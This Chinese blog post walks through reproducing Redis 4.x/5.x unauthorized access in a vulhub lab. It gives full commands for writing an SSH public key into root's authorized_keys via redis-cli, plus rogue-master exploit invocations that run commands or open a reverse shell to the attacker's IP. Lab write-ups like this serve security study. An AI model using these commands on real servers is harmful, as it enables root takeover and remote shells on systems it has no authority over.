Redis 4.x/5.x 未授权访问漏洞

0x00漏洞简介

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

0x01漏洞复现

攻击机:Kali Linux IP:192.168.0.189

靶机:CentOS 7 (内含docker)IP:192.168.2.184 环境:https://github.com/vulhub/vulhub/tree/master/redis/4-unacc

(1)攻击机环境准备

下载redis:http://download.redis.io/releases/
解压:tar -zxvf xxx
进入文件夹编译:make
授予redis-cli全局访问权限:cp redis-cli /usr/local/bin

(2)对靶机的redis进行端口探测

nmap -p 6379 -script redis-info 192.168.2.184

(3)进行未授权访问连接

redis-cli -h 192.168.2.184

(4)免密钥登陆对方主机

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证也就是我们想要的免密登录了,这里我只简单说一下密钥验证的原理。

所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:

(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;

(2)客户端发起登录请求,发送自己的相关信息;

(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;

(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;

(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

#生成ssh公钥
ssh-keygen -t rsa

#将该密钥复制到gongyao.txt种
(echo -e ""\n\n"; cat id_rsa.pub; echo -e ""\n\n") > gongyao.txt

#将gongyao.txt传到靶机
cat gongyao.txt | redis-cli -h 192.168.2.184 -x set crackit

#登陆靶机,路径修改为root/.ssh
redis-cli -h 192.168.2.184
config set dir /root/.ssh
config set dbfilename authorized_keys
save

#远程登陆
ssh -i /root/.ssh/id_rsa root@192.168.2.184

0x02 EXP

(1)任意命令执行:https://github.com/vulhub/redis-rogue-getshell

kali Linux 位置:/hack/redis-rogue-getshell/redis-master.py

python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

(2)反弹shell:https://github.com/Ridter/redis-rce

Kali Linux 位置:/hack/redis-rogue-getshell/redis-rce.py

python3 redis-rce.py -r 192.168.2.184 -L 192.168.0.189 -f RedisModulesSDK/exp.so
posted @ 2020-09-19 13:22  WindStream  阅读(681)  评论(0编辑  收藏  举报